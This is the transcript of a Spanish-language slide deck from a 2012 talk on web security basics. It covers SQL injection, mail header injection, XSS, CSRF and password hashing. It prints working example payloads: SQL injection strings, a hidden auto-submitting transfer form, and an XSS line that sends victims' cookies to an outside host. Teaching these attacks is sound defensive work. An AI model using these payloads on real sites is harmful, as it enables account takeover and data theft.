Seguridad WEB - Principios básicos.
-
Upload
oscar-javier-gentilezza-arenas -
Category
Documents
-
view
489 -
download
2
description
Transcript of Seguridad WEB - Principios básicos.
![Page 1: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/1.jpg)
Seguridad WEB
Principios básicos de seguridad en aplicaciones web Una recorrida por los
problemas mas comunes, SQL Injection, XSS, etc.
Sábado 27 de Octubre de 2012, Charlas técnicas, Lanux.
![Page 2: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/2.jpg)
/about
Oscar Javier Gentilezza Arenas (a.k.a Exos)
Informático, curioso, desarrollador y paranoico.
Mail/jabber: [email protected]/Identi.ca: @exos
Blog: http://blog.exodica.com.arGPG: https://secure.exodica.com.ar/gpg/
![Page 3: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/3.jpg)
Temas
● Por qué ser seguros● Aplicción insegura == aplicación mal hecha● Un poco de concepto● Inyección de codigo con SQL Injectión● XSS● XSRF / CSRF● Contraseñas, hashes y salts
![Page 4: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/4.jpg)
Ser o no ser
![Page 5: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/5.jpg)
Ser o no ser
![Page 6: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/6.jpg)
Un gran poder conlleva una gran responsabilidad
![Page 7: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/7.jpg)
Por qué ser seguros....
Datos personales
Intimidad
Contraseñas personales
Transacciones / dinero
Integridad de identidad
![Page 8: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/8.jpg)
Aplicción insegura==
aplicación Mal hecha
![Page 9: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/9.jpg)
Vulnerabilidad (según wikipedia)
Las vulnerabilidades son puntos débiles del software que permiten que un atacante
comprometa la integridad, disponibilidad o confidencialidad del mismo. Algunas de las vulnerabilidades más severas permiten que
los atacantes ejecuten código arbitrario, denominadas vulnerabilidades de seguridad,
en un sistema comprometido.
![Page 10: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/10.jpg)
Errores en la web
Los ataques mas comunes a la web se realiza aprobechando errores de
programación (muchos conceptuales) que pueden ser evitables corrigiendo la forma en
que uno trabaja.
![Page 11: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/11.jpg)
Un poco de concepto
![Page 12: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/12.jpg)
La web en sus inicios
La web en sus inicios eran sitios con páginas estáticas hiperenlazadas entre si (entre paginas y webs), que podían contener
imágenes, texto y demas material multimedia.
![Page 13: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/13.jpg)
La web ahora
En la actualidad los sitios webs son aplicaciones ricas en dinamismo que hacen
mas complejo el concepto de la web.
El usuario pasó a ser un lector (web 1.0) ha interactuar con contenidos o realizar ciertas
acciones desde esta (web 1.5) a directamente formar parte totalmente activa
de su contenido (web 2.0 ++)
![Page 14: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/14.jpg)
Que compone la web?
● Se usan nombres de dominios como “direcciones” de los sitios webs
● Se consultan a servidores de nombres (DNS) para saber sus direcciones reales (Ips)
● Se consulta a dicha IP por el sitio en cuestión
![Page 15: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/15.jpg)
Que hay en el medio?
● Browser (cliente o navegador web)● TCP/IP (internet)● Protocolos HTTP/HTTPS/SPDY ← (?)● Lenguajes (o pseudolenguajes) de
renderizado; html, css, xml, xslt-xsl● Contenido multimedia● Servidores
![Page 16: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/16.jpg)
Las principales causas
● El no escapeo de los datos de e/s● La no validación de los datos de entrada● El no casteo de los datos de e/s● El no control de las peticiones
![Page 17: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/17.jpg)
Inyecciones de código
La inyección de código se trata de enviar código arbitrario por variables de entrada no
escapados o validados, normalmente solemos comunicarnos con ciertos servicios
en un lenguaje específico, el caso de inyección mas conocido en la web en el de
SQL y se llama SQL Injection.
![Page 18: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/18.jpg)
Inyección inboundPodemos ver datos!
![Page 19: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/19.jpg)
Como inyectar código
![Page 20: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/20.jpg)
$name = $_POST['name'];$password = $_POST['password'];
$sql = “SELECT * FROM Users WHERE name = '$name' AND password = '$password'”;
→
SELECT * FROM Users WHERE name = 'jose' AND password = '7h3R4m0n3$$'
![Page 21: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/21.jpg)
User: adminPassword: ' or '' = '
SELECT * FROM Users WHERE name = 'admin' AND password = '' or '' = ''
SI user = 'admin' Y password = '' O '' = ''
![Page 22: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/22.jpg)
Uso de Union
SELECT a,b,c,dFROM Tabla_AUNION SELECT a,b,c,dFROM Tabla_B
![Page 23: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/23.jpg)
SELECTid, autor, titulo, texto, thumb
FROMNoticias
WHERECategoria = 25
ORDER BYfecha
http://www.sitiodenoticias.com/categoria.php?id=25
![Page 24: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/24.jpg)
<ul><li class=”noticia”>
<h1>Justin Bieber dejó la musica<h1><p class=”resumen”>El cantante recibirá
el premi novel por haberlo hecho</p><span>
Por <em>Rodrigo Saraza</me></span>
</li></ul>
![Page 25: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/25.jpg)
/categoria.php?id=25000000 UNION SELECT Id, email, password, null FROM Users
![Page 26: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/26.jpg)
SELECTid, autor, titulo, texto, thumb
FROMNoticias
WHERECategoria = 25000000
UNION SELECTId, email, password, null
FROMUsers
ORDER BYfecha
![Page 27: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/27.jpg)
<ul><li class=”noticia”>
<h1>admin<h1><p
class=”resumen”>[email protected]</p><span>
Por <em>*45f33ba4437df3a2...</me></span>
</li></ul>
![Page 28: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/28.jpg)
SELECTid, autor, titulo, texto, thumb
FROMNoticias
WHERECategoria = 25000000
UNION SELECTuser(), null, null, null
ORDER BYfecha
![Page 29: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/29.jpg)
Inyección outbound(inyección a ciegas)
![Page 30: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/30.jpg)
/checknick.php?nick=jhon
SELECTcount(1)
FROMUsers
WHEREnick= 'jhon'
echo $row[0] ? “true” : “false”;
![Page 31: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/31.jpg)
SELECTcount(1)
FROMUsers
WHEREnick= 'jhon'
ANDSUBSTR(
(SELECT Password FROM Users WHERE id = 1)
,1,1) = 'a'
![Page 32: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/32.jpg)
SELECTcount(1)
FROMUsers
WHEREnick= 'jhon'
ANDSUBSTR(
(SELECT Password FROM Users WHERE id = 1)
,1,1) = 'a'
![Page 33: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/33.jpg)
Cadena = ''For x in 1 to 32
For y in 0 to F If res(x,y) == true
Cadena += yBreak;
Raise “Sin true del 0 al f”
Print Cadena
De 32 a 16*32 intentos para obtener un MD5
![Page 34: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/34.jpg)
SELECTcount(1)
FROMUsers
WHEREnick= 'jhon'
ANDIF(SUBSTR(
(SELECT Password FROM Users WHERE id = 1)
,1,1) = 'a',1,md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5('123456')))))))))))))))))))))))))))))) AND ''=''
![Page 35: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/35.jpg)
No solo de SQL vive el pueblo
![Page 36: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/36.jpg)
http://servicio.com/api/order=searchbook&id=35
![Page 37: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/37.jpg)
http://servicio.com/api/order=searchbook&id=35&order=delete&id=54
![Page 38: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/38.jpg)
<?php
$to = "[email protected]";$subject = "Hey $user want invite to socialhipters.com.";$message = "...";$replyto = $_POST['email'];
$headers = "From: [email protected]\r\n";$headers .= "Reply-To: $replyto\r\n";
if ( mail($to,$subject,$message,$headers) ) { echo "The email has been sent!";} else { echo "The email has failed!";}
?>
![Page 39: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/39.jpg)
$to = "[email protected]";$subject = "Contact mail";$message = "This is a contact message from...";$replyto = $_POST['email'];
$headers = "From: [email protected]\r\n";$headers .= "Reply-To: [email protected]\r\nBcc: [email protected]\r\nContent-Type: multipart/mixed; boundary="MyBoundary"; Hidden Text1 --MyBoundary Content-Type: plain/text; I will kill you!!! --MyBoundary-- Hidden Text2\r\n";
if ( mail($to,$subject,$message,$headers) ) { echo "The email has been sent!";} else { echo "The email has failed!";}
![Page 40: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/40.jpg)
XSS(Cross Site Scripting)
![Page 41: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/41.jpg)
XSS, DefiniciónEn este caso nosotros tabién vamos a inyectar código, pero no para atacar al
servidor, sino para atacar a los usuarios, se puede decir que este ataque corre en cliente
(el browser), y con esto se puede lograr el robo de credenciales o se puede tomar un control limitado de la maquina “infectada”,
también se puede usar esta técnica para usar a un sitio vulnerable como distribuidor de
malware
![Page 42: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/42.jpg)
Inyectando código javascript
![Page 43: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/43.jpg)
Tipos de ataque XSS
● Reflejado (indirecto)● Persistente (directo)
![Page 44: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/44.jpg)
Reflejado
Se logra inyectar código mediante una variable de entrada mal escapada o casteada y se genera así una URL maliciosa que tiene
que ser entregada a la víctima.
![Page 45: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/45.jpg)
/login.php?err=usuario%20incorrecto
<php if ($_GET['err']): ?><div class=”error”>
<?= $_GET['err'] ?></div>
<?php endif; ?>
![Page 46: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/46.jpg)
/login.php?err=<script>alert('atrapado')</script>
<php if ($_GET['err']): ?><div class=”error”>
<?= $_GET['err'] ?></div>
<?php endif; ?>
![Page 47: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/47.jpg)
Persistente
Se llama persistente cuando queda almacenado del lado del servidor, por lo que cualquier usuario que use el sitio es victima
indirectamente del ataque.
![Page 48: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/48.jpg)
Como funciona
Supongamos que tenemos comentarios:
If ($_POST) {$name = $_POST['name'];$email = $_POST['email'];$comment = $_POST['comment'];
saveComment($email, $comment);….
}
![Page 49: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/49.jpg)
<ul class=”comentarios”><li>
<span><?= $name ?> dijo...</span><p><?= $comment ?></p>
</li>….
</ul>
![Page 50: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/50.jpg)
<ul class=”comentarios”><li>
<span>Funalito dijo...</span><p>Que buena noticia, ya era hora
<script>alert('infectado!')</script></p> </li>
….</ul>
![Page 51: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/51.jpg)
Peticiones post
<iframe style=”display:none” name=”badiframe” /><form action=”/transferirplata.php” method=”post” id=”f” target=”badiframe”><input type=”hidden” name=”to” value=”25” /></form><script>document.getElementById('f').submit();</script>
![Page 52: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/52.jpg)
Robo de credenciales(Hijacking, suplantación de identidad)
![Page 53: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/53.jpg)
Concepto de sesiones
Para que los usuarios puedan tener su espacio propio en una web, o hacer acciones vilculadas a un usario en el sistema, se suele
usar el concepto de session (sesión), esto quiere decir que una vez que se comprueba
que el usuario es tal atravez de una autentificación por login, se crea una session donde se guarda información temporalemte.
![Page 54: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/54.jpg)
Entendiendo las cookiesPara que los navegadores no tengan que enviar todo el tiempo datos de login, para
identificar una sesión, se suelen usar cookies, que es un pequeño espacio en el browser (4KB) que el sitio puede usar para almacenar datos, la información va del lado
del servidor, por lo que en las cookies solo se guarda un identificador difícil de repodrucir o suponer, esta cookie es del tipo de cookie de
sesión y tiene un tiempo de vida corto.
![Page 55: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/55.jpg)
Robo de credencialesLas cookies son accesibles desde
JavaScript, ya que tambien se puede usar para almacenar cosas de este lado, eso
quiere decir que si yo inyecto código JavaScript en una página donde un usuario
la está visitando logueado, voy a poder hacer uso de sus cookies, y enviarmelas a mi
mismo, suplantando su identidad, ya que el servidor creerá que las peticiones vienen del
usuario y no de un extraño.
![Page 56: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/56.jpg)
<ul class=”comentarios”><li>
<span>Funalito dijo...</span><p>Que buena noticia, ya era hora
<script>document.write('<img src=”http://misite.com/hack.php?cookies=' + document.cookie + '” />')</script></p> </li>
….</ul>
![Page 57: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/57.jpg)
Ejemplo de url maliciosa
![Page 58: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/58.jpg)
![Page 59: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/59.jpg)
Cookies HttpOnly
![Page 60: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/60.jpg)
Solo por HTTP
Para evitar los robos de credenciales, se creo una propiedad en las cookies llamada
HttpOnly que quiere decir que solo se van a mandar y recibir por peticiones http y no
serán visibles desde JavaScript.
![Page 61: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/61.jpg)
Método TracePara poder saltar la limitación de HttpOnly, se hace
uso del método Trace, hecho para debugear peticiones, este metodo a diferencia del GET, no
solo devuelve el contenido, sino también la cabecera de la petición en el cuerpo de la repuesta,
por lo que se puede hacer mediante XMLHttpRequest y luego parsearlo, la forma de
evitar esto es bloquear el metodo Trace del servidor, igualmente los browser modernos no permiten estas
peticiones por ajax.
![Page 62: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/62.jpg)
Robando cookies en ApacheEsta año se descubrió una vulnerabilidad todabia vigente en gran cantidad de servidores, donde se pueden obtener las cookies HttpOnly atravez del
mensaje por defecto del error 400 (Bad Request) de Apache.
Cuando se envia una cabezera muy larga e servidor responde con 400 mostrando la cabecera que provocó el error, si se genera mediante javascript una cookie de unos 7KB y se envia una petición, la respuesta tendrá
consigo la cabecera http, con las cookies HttpOnly también.
![Page 63: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/63.jpg)
Los apaches afectados son desde la versión 2.2.0 a la 2.2.21
![Page 64: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/64.jpg)
![Page 65: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/65.jpg)
CSRF / XSRF( Cross Site Request Forgery )
![Page 66: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/66.jpg)
Un Ataque de CSRF, fuerza al navegador "logueado" de la victima a mandar un
"request HTTP", incluyendo el cookie de sesión de la victima y cualquier otra
información de validación de la victima a una aplicación web vulnerable. Esto permite al atacante forzar al navegador de la victima
para cometer daños o estafas que la aplicación piensa son iniciados por un usuario
legítimo.
![Page 67: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/67.jpg)
Almacenamiento de Contraseñas(cuidando al usuario)
![Page 68: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/68.jpg)
Guardando contraseñas de forma segura
Como vimos antes, muchos ataques sirven para leer arbitrariamente datos de la base de datos que no deberíamos, entre esos datos
las contraseñas, y como vimos en el ejemplo de SQL Inyection, solo se obtenian Hashes.
![Page 69: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/69.jpg)
Concepto de HASH
Una función hash es una operación que aplica un algoritmo que mapea una cadena
en otra cadena de longitud fija cuyo resultado es irreversible, osea no se puede llegar a la cadena “sumada” con el resultado de esta
suma. De esta forma algo que es hasheado es irrecuperable matematicamente.
![Page 70: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/70.jpg)
Tipos de hashes (mas usados)
● MD5● MySQL Password● SHA-1● SHA-256● SHA-512 (no se usa tanto)
![Page 71: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/71.jpg)
Ventajas
Un sistema no necesita saber la contraseña de un usuario para autentificarlo, a la hora de
guardar las contraseñas debemos hashearlas, asi en caso de que alguien tenga acceso a estas no las tenga en claro, y no las
pueda usar.
![Page 72: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/72.jpg)
Problema con hashes
Cada vez la computación avanza mas, y los métodos de hash utilizados, aunque seguros
y robustos, se vuelven insuficientes a los ataques de fuerza bruta, los hashes estan hechos para ser rápidos, lo que hace que generar grandes diccionarios o Rainbows tables de estos sea cada vez mas fácil.
![Page 73: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/73.jpg)
EjemploMd5('123456')
='e10adc3949ba59abbe56e057f20f883e'
La robustes del algoritmo, es que no se puede llega a '123456' desde el hash, pero si un atacante consigue esta hash, no le va a
costar deducir el resultado...
![Page 74: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/74.jpg)
![Page 75: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/75.jpg)
GPU
Las placas de video con sus microprocesadores (GPUs) cada vez tienen
mas poder y aunque son operaciones simples de suma y resta, suelen tener
muchos cores, y ser realemente rápidas, por lo que pueden crear hasta 5 mil millones de
hashes md5 por segundo.
![Page 76: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/76.jpg)
Poniendole un poco de sal al asunto
![Page 77: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/77.jpg)
Salts
Los salts, son string que se utilizan de apoyo a la contraseña, a si si un atacante consigue una contraseña hasheada, aunque esta sea
debil, no podrá conseguir deducirla sin el salt, de esta forma podemos, en vez de hacer un
md5 de la password, hacer un md5 de un string secreo + la password:
md5(salt + password)
![Page 78: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/78.jpg)
El tamaño.... si importa
![Page 79: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/79.jpg)
El tamaño importaCuando más larga y mas combinaciones por byte tenga un password o salt, mas tiempo
tomará su crackeo, volviendo el ataque irrealizable.
Un salt puede ser binario, si tenemos en cuenta que cada byte puede tener 256 posibilidades, con un salt de 30 bytes,
tendrían 256³ posibilidades, y eso ⁰multiplicado por lo que aporte la contraseña.
![Page 80: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/80.jpg)
Por úlrimo recomiendo el uso de bcrypt, ya que es robusto, y ya tiene incorporado lo del
salt.
bcrypt
![Page 81: Seguridad WEB - Principios básicos.](https://reader033.fdocument.pub/reader033/viewer/2022052323/558b0a8ed8b42af4758b4635/html5/thumbnails/81.jpg)
¿Preguntas?
Hasta aca llegamos